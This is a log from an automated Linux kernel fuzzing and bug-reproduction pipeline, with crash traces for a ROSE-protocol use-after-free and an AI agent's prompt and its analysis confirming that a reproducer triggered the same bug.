FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
] StraceOutput: TestError:]

203/3 2026/05/26 12:01 action truncate-log
0m Results:
map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..
 TruncatedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
 TruncatedStraceOutput:]

204/3 2026/05/26 12:01 agent repro-oracle
0m Model:
gemini-3.1-pro-preview

Results:
map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
